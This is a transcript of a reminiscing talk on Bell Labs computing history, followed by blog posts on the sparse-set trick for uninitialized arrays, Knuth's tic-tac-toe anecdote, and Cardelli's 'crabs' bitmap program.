40:55 Another thing that went on in the acoustics department was synthetic speech and music. Max Mathews, who was the the director of the department has long been interested in computer music. In fact since retirement he spent a lot of time with Pierre Boulez in Paris at a wonderful institute with lots of money simply for making synthetic music. He had a language called Music 5. Synthetic speech or, well first of all simply speech processing was pioneered particularly by John Kelly. I remember my first contact with speech processing. It was customary for computer operators, for the benefit of computer operators, to put a loudspeaker on the low bit of some register on the machine, and normally the operator would just hear kind of white noise. But if you got into a loop, suddenly the machine would scream, and this signal could be used to the operator "oh the machines in a loop. Go stop it and go on to the next job." I remember feeding them an Ackermann’s function routine once. [laughter] They were right. It was a silly loop. But anyway. One day, the operators were ?...?. The machine started singing. Out of the blue. “Help! I’m caught in a loop.”. [laughter] And in a broad Texas accent, which was the recorded voice of John Kelly.

43:14 However. From there Kelly went on to do some speech synthesis. Of course there’s been a lot more speech synthesis work done since, by 43:31 folks like Cecil Coker, Joe Olive. But they produced a record, which unfortunately I can’t play because records are not modern anymore. And everybody got one in the Bell Labs Record, which is a magazine, contained once a record from the acoustics department, with both speech and music and one very famous combination where the computer played and sang "A Bicycle Built For Two".

?...?

44:32 At the same time as all this stuff is going on here, needless to say computing is going on in the rest of the Labs. it was about early 1960 when the math department lost its monopoly on computing machines and other people started buying them too, but for switching. The first experiments with switching computers were operational in around 1960. They were planned for several years prior to that; essentially as soon as the transistor was invented, the making of electronic rather than electromechanical switching machines was anticipated. Part of the saga of the switching machines is cheap memory. These machines had enormous memories -- thousands of words. [laughter] And it was said that the present worth of each word of memory that programmers saved across the Bell System was something like eleven dollars, as I recall. And it was worthwhile to struggle to save some memory. Also, programs were permanent. You were going to load up the switching machine with switching program and that was going to run. You didn’t change it every minute or two. And it would be cheaper to put it in read only memory than in core memory. And there was a whole series of wild read-only memories, both tried and built. The first experimental Essex System had a thing called the flying spot store which was large photographic plates with bits on them and CRTs projecting on the plates and you would detect underneath on the photodetector whether the bit was set or not. That was the program store of Essex. The program store of the first ESS systems consisted of twistors, which I actually am not sure I understand to this day, but they consist of iron wire with a copper wire wrapped around them and vice versa. There were also experiments with an IC type memory called the waffle iron. Then there was a period when magnetic bubbles were all the rage. As far as I know, although microelectronics made a lot of memory, most of the memory work at Bell Labs has not had much effect on ?...?. Nice tries though.

48:28 Another thing that folks began to work on was the application of (and of course, right from the start) computers to data processing. When you owned equipment scattered through every street in the country, and you have a hundred million customers, and you have bills for a hundred million transactions a day, there’s really some big data processing going on. And indeed in the early 60s, AT&T was thinking of making its own data processing computers solely for billing. Somehow they pulled out of that, and gave all the technology to IBM, and one piece of that technology went into use in high end equipment called tractor tapes. Inch wide magnetic tapes that would be used for a while.

49:50 By in large, although Bell Labs has participated until fairly recently in data processing in quite a big way, AT&T never really quite trusted the Labs to do it right because here is where the money is. I can recall one occasion when during strike of temporary employees, a fill-in employee like from the Laboratories and so on, lost a day’s billing tape in Chicago. And that was a million dollars. And that’s generally speaking the money people did not until fairly recently trust Bell Labs to take good care of money, even though they trusted the Labs very well to make extremely reliable computing equipment for switches. The downtime on switches is still spectacular by any industry standards. The design for the first ones was two hours down in 40 years, and the design was met. Great emphasis on reliability and redundancy, testing.

51:35 Another branch of computing was for the government. The whole Whippany Laboratories [time check] Whippany, where we took on contracts for the government particularly in the computing era in anti-missile defense, missile defense, and underwater sound. Missile defense was a very impressive undertaking. It was about in the early ’63 time frame when it was estimated the amount of computation to do a reasonable job of tracking incoming missiles would be 30 M floating point operations a second. In the day of the Cray that doesn’t sound like a great lot, but it’s more than your high end PCs can do. And the machines were supposed to be reliable. They designed the machines at Whippany, a twelve-processor multiprocessor, to no specs, enormously rugged, one watt transistors. This thing in real life performed remarkably well. There were sixty-five missile shots, tests across the Pacific Ocean ?...? and Lorinda Cherry here actually sat there waiting for them to come in. [laughter] And only a half dozen of them really failed. As a measure of the interest in reliability, one of them failed apparently due to processor error. Two people were assigned to look at the dumps, enormous amounts of telemetry and logging information were taken during these tests, which are truly expensive to run. Two people were assigned to look at the dumps. A year later they had not found the trouble. The team was beefed up. They finally decided that there was a race condition in one circuit. They then realized that this particular kind of race condition had not been tested for in all the simulations. They went back and simulated the entire hardware system to see if its a remote possibility of any similar cases, found twelve of them, and changed the hardware. But to spend over a year looking for a bug is a sign of what reliability meant.

54:56 Since I’m coming up on the end of an hour, one could go on and on and on,

Crowd: go on, go on. [laughter]

55:10 Doug: I think I’d like to end up by mentioning a few of the programs that have been written at Bell Labs that I think are most surprising. Of course there are lots of grand programs that have been written.

I already mentioned the block diagram compiler.

Another really remarkable piece of work was eqn, the equation typesetting language, which has been imitated since, by Lorinda Cherry and Brian Kernighan. The notion of taking an auditory syntax, the way people talk about equations, but only talk, this was not borrowed from any written notation before, getting the auditory one down on paper, that was very successful and surprising.

Another of my favorites, and again Lorinda Cherry was in this one, with Bob Morris, was typo. This was a program for finding spelling errors. It didn’t know the first thing about spelling. It would read a document, measure its statistics, and print out the words of the document in increasing order of what it thought the likelihood of that word having come from the same statistical source as the document. The words that did not come from the statistical source of the document were likely to be typos, and now I mean typos as distinct from spelling errors, where you actually hit the wrong key. Those tend to be off the wall, whereas phonetic spelling errors you’ll never find. And this worked remarkably well. Typing errors would come right up to the top of the list. A really really neat program.

57:50 Another one of my favorites was by Brenda Baker called struct, which took Fortran programs and converted them into a structured programming language called Ratfor, which was Fortran with C syntax. This seemed like a possible undertaking, like something you do by the seat of the pants and you get something out. In fact, folks at Lockheed had done things like that before. But Brenda managed to find theorems that said there’s really only one form, there’s a canonical form into which you can structure a Fortran program, and she did this. It took your Fortran program, completely mashed it, put it out perhaps in almost certainly a different order than it was in Fortran connected by GOTOs, without any GOTOs, and the really remarkable thing was that authors of the program who clearly knew the way they wrote it in the first place, preferred it after it had been rearranged by Brendan. I was astonished at the outcome of that project.

59:19 Another first that happened around here was by Fred Grampp, who got interested in computer security. One day he decided he would make a program for sniffing the security arrangements on a computer, as a service: Fred would never do anything crooked. [laughter] This particular program did a remarkable job, and founded a whole minor industry within the company. A department was set up to take this idea and parlay it, and indeed ever since there has been some improvement in the way computer centers are managed, at least until we got Berkeley Unix.

60:24 And the last interesting program that I have time to mention is one by Ken Church. He was dealing with -- text processing has always been a continuing ?...? of the research, and in some sense it has an application to our business because we’re handling speech, but he got into consulting with the department in North Carolina that has to translate manuals. There are millions of pages of manuals in the Bell System and its successors, and ever since we’ve gone global, these things had to get translated into many languages.

61:28 To help in this, he was making tools which would put up on the screen, graphed on the screen quickly a piece of text and its translation, because a translator, particularly a technical translator, wants to know, the last time we mentioned this word how was it translated. You don’t want to be creative in translating technical text. You’d like to be able to go back into the archives and pull up examples of translated text. And the neat thing here is the idea for how do you align texts in two languages. You’ve got the original, you’ve got the translated one, how do you bring up on the screen, the two sentences that go together? And the following scam worked beautifully. This is on western languages. 62:33 Simply look for common four letter tetragrams, four letter combinations between the two and as best as you can, line them up as nearly linearly with the lengths of the two types as possible. And this very simple idea works like storm. Something for nothing. I like that.

63:10 The last thing is one slogan that sort of got started with Unix and is just rife within the industry now. Software tools. We were making software tools in Unix before we knew we were, just like the Molière character was amazed at discovering he’d been speaking prose all his life. [laughter] But then Kernighan and Plauger came along and christened what was going on, making simple generally useful and compositional programs to do one thing and do it well and to fit together. They called it software tools, made a book, wrote a book, and this notion now is abroad in the industry. And it really did begin all up in the little attic room where you [points?] sat for many years writing up here.

Oh I forgot to. I haven’t used any slides. I’ve brought some, but I don’t like looking at bullets and you wouldn’t either, and I forgot to show you the one exhibit I brought, which I borrowed from Bob Kurshan. When Bell Labs was founded, it had of course some calculating machines, and it had one wonderful computer. This. That was bought in 1918. There’s almost no other computing equipment from any time prior to ten years ago that still exists in Bell Labs. This is an integraph. It has two styluses. You trace a curve on a piece of paper with one stylus and the other stylus draws the indefinite integral here. There was somebody in the math department who gave this service to the whole company, with about 24 hours turnaround time, calculating integrals. Our recent vice president Arno Penzias actually did, he calculated integrals differently, with a different background. He had a chemical balance, and he cut the curves out of the paper and weighed them. This was bought in 1918, so it’s eighty years old. It used to be shiny metal, it’s a little bit rusty now. But it still works.

66:30 Well, that’s a once over lightly of a whole lot of things that have gone on at Bell Labs. It’s just such a fun place that one I said I just could go on and on. If you’re interested, there actually is a history written. This is only one of about six volumes, this is the one that has the mathematical computer sciences, the kind of things that I’ve mostly talked about here. A few people have copies of them. For some reason, the AT&T publishing house thinks that because they’re history they’re obsolete, and they stopped printing them. [laughter]

Thank you, and that’s all.

Using Uninitialized Memory for Fun and Profit

2008-03-14T00:00:00-04:00

This is the story of a clever trick that's been around for at least 35 years, in which array values can be left uninitialized and then read during normal operations, yet the code behaves correctly no matter what garbage is sitting in the array. Like the best programming tricks, this one is the right tool for the job in certain situations. The sleaziness of uninitialized data access is offset by performance improvements: some important operations change from linear to constant time.

Alfred Aho, John Hopcroft, and Jeffrey Ullman's 1974 book The Design and Analysis of Computer Algorithms hints at the trick in an exercise (Chapter 2, exercise 2.12):

Develop a technique to initialize an entry of a matrix to zero the first time it is accessed, thereby eliminating the O(||V||²) time to initialize an adjacency matrix.

Jon Bentley's 1986 book Programming Pearls expands on the exercise (Column 1, exercise 8; exercise 9 in the Second Edition):

One problem with trading more space for less time is that initializing the space can itself take a great deal of time. Show how to circumvent this problem by designing a technique to initialize an entry of a vector to zero the first time it is accessed. Your scheme should use constant time for initialization and each vector access; you may use extra space proportional to the size of the vector. Because this method reduces initialization time by using even more space, it should be considered only when space is cheap, time is dear, and the vector is sparse.

Aho, Hopcroft, and Ullman's exercise talks about a matrix and Bentley's exercise talks about a vector, but for now let's consider just a simple set of integers.

One popular representation of a set of n integers ranging from 0 to m is a bit vector, with 1 bits at the positions corresponding to the integers in the set. Adding a new integer to the set, removing an integer from the set, and checking whether a particular integer is in the set are all very fast constant-time operations (just a few bit operations each). Unfortunately, two important operations are slow: iterating over all the elements in the set takes time O(m), as does clearing the set. If the common case is that m is much larger than n (that is, the set is only sparsely populated) and iterating or clearing the set happens frequently, then it could be better to use a representation that makes those operations more efficient. That's where the trick comes in.

Preston Briggs and Linda Torczon's 1993 paper, “An Efficient Representation for Sparse Sets,” describes the trick in detail. Their solution represents the sparse set using an integer array named dense and an integer n that counts the number of elements in dense. The dense array is simply a packed list of the elements in the set, stored in order of insertion. If the set contains the elements 5, 1, and 4, then n = 3 and dense[0] = 5, dense[1] = 1, dense[2] = 4:

Together n and dense are enough information to reconstruct the set, but this representation is not very fast. To make it fast, Briggs and Torczon add a second array named sparse which maps integers to their indices in dense. Continuing the example, sparse[5] = 0, sparse[1] = 1, sparse[4] = 2. Essentially, the set is a pair of arrays that point at each other:

Adding a member to the set requires updating both of these arrays:

add-member(i):
    dense[n] = i
    sparse[i] = n
    n++

It's not as efficient as flipping a bit in a bit vector, but it's still very fast and constant time.

To check whether i is in the set, you verify that the two arrays point at each other for that element:

is-member(i):
    return sparse[i] < n && dense[sparse[i]] == i

If i is not in the set, then it doesn't matter what sparse[i] is set to: either sparse[i] will be bigger than n or it will point at a value in dense that doesn't point back at it. Either way, we're not fooled. For example, suppose sparse actually looks like:

Is-member knows to ignore members of sparse that point past n or that point at cells in dense that don't point back, ignoring the grayed out entries:

Notice what just happened: sparse can have any arbitrary values in the positions for integers not in the set, those values actually get used during membership tests, and yet the membership test behaves correctly! (This would drive valgrind nuts.)

Clearing the set can be done in constant time:

clear-set():
    n = 0

Zeroing n effectively clears dense (the code only ever accesses entries in dense with indices less than n), and sparse can be uninitialized, so there's no need to clear out the old values.

This sparse set representation has one more trick up its sleeve: the dense array allows an efficient implementation of set iteration.

iterate():
    for(i=0; i<n; i++)
        yield dense[i]

Let's compare the run times of a bit vector implementation against the sparse set:

Operation	Bit Vector	Sparse set
is-member	O(1)	O(1)
add-member	O(1)	O(1)
clear-set	O(m)	O(1)
iterate	O(m)	O(n)

The sparse set is as fast or faster than bit vectors for every operation. The only problem is the space cost: two words replace each bit. Still, there are times when the speed differences are enough to balance the added memory cost. Briggs and Torczon point out that liveness sets used during register allocation inside a compiler are usually small and are cleared very frequently, making sparse sets the representation of choice.

Another situation where sparse sets are the better choice is work queue-based graph traversal algorithms. Iteration over sparse sets visits elements in the order they were inserted (above, 5, 1, 4), so that new entries inserted during the iteration will be visited later in the same iteration. In contrast, iteration over bit vectors visits elements in integer order (1, 4, 5), so that new elements inserted during traversal might be missed, requiring repeated iterations.

Returning to the original exercises, it is trivial to change the set into a vector (or matrix) by making dense an array of index-value pairs instead of just indices. Alternately, one might add the value to the sparse array or to a new array. The relative space overhead isn't as bad if you would have been storing values anyway.

Briggs and Torczon's paper implements additional set operations and examines performance speedups from using sparse sets inside a real compiler.

Play Tic-Tac-Toe with Knuth

2008-01-25T00:00:00-05:00

Section 7.1.2 of the Volume 4 pre-fascicle 0A of Donald Knuth's The Art of Computer Programming is titled “Boolean Evaluation.” In it, Knuth considers the construction of a set of nine boolean functions telling the correct next move in an optimal game of tic-tac-toe. In a footnote, Knuth tells this story:

This setup is based on an exhibit from the early 1950s at the Museum of Science and Industry in Chicago, where the author was first introduced to the magic of switching circuits. The machine in Chicago, designed by researchers at Bell Telephone Laboratories, allowed me to go first; yet I soon discovered there was no way to defeat it. Therefore I decided to move as stupidly as possible, hoping that the designers had not anticipated such bizarre behavior. In fact I allowed the machine to reach a position where it had two winning moves; and it seized both of them! Moving twice is of course a flagrant violation of the rules, so I had won a moral victory even though the machine had announced that I had lost.

That story alone is fairly amusing. But turning the page, the reader finds a quotation from Charles Babbage's Passages from the Life of a Philosopher, published in 1864:

I commenced an examination of a game called “tit-tat-to” ... to ascertain what number of combinations were required for all the possible variety of moves and situations. I found this to be comparatively insignificant. ... A difficulty, however, arose of a novel kind. When the automaton had to move, it might occur that there were two different moves, each equally conducive to his winning the game. ... Unless, also, some provision were made, the machine would attempt two contradictory motions.

The only real winning move is not to play.

Crabs, the bitmap terror!

2008-01-09T00:00:00-05:00

Today, window systems seem as inevitable as hierarchical file systems, a fundamental building block of computer systems. But it wasn't always that way. This paper could only have been written in the beginning, when everything about user interfaces was up for grabs.

A bitmap screen is a graphic universe where windows, cursors and icons live in harmony, cooperating with each other to achieve functionality and esthetics. A lot of effort goes into making this universe consistent, the basic law being that every window is a self contained, protected world. In particular, (1) a window shall not be affected by the internal activities of another window. (2) A window shall not be affected by activities of the window system not concerning it directly, i.e. (2.1) it shall not notice being obscured (partially or totally) by other windows or obscuring (partially or totally) other windows, (2.2) it shall not see the image of the cursor sliding on its surface (it can only ask for its position).

Of course it is difficult to resist the temptation to break these rules. Violations can be destructive or non-destructive, useful or pointless. Useful non-destructive violations include programs printing out an image of the screen, or magnifying part of the screen in a lens window. Useful destructive violations are represented by the pen program, which allows one to scribble on the screen. Pointless non-destructive violations include a magnet program, where a moving picture of a magnet attracts the cursor, so that one has to continuously pull away from it to keep working. The first pointless, destructive program we wrote was crabs.

As the crabs walk over the screen, they leave gray behind, “erasing” the apps underfoot:

For the rest of the story, see Luca Cardelli's “Crabs: the bitmap terror!” (6.7MB). Additional details in “Crabs (History and Screen Dumps)” (57.1MB).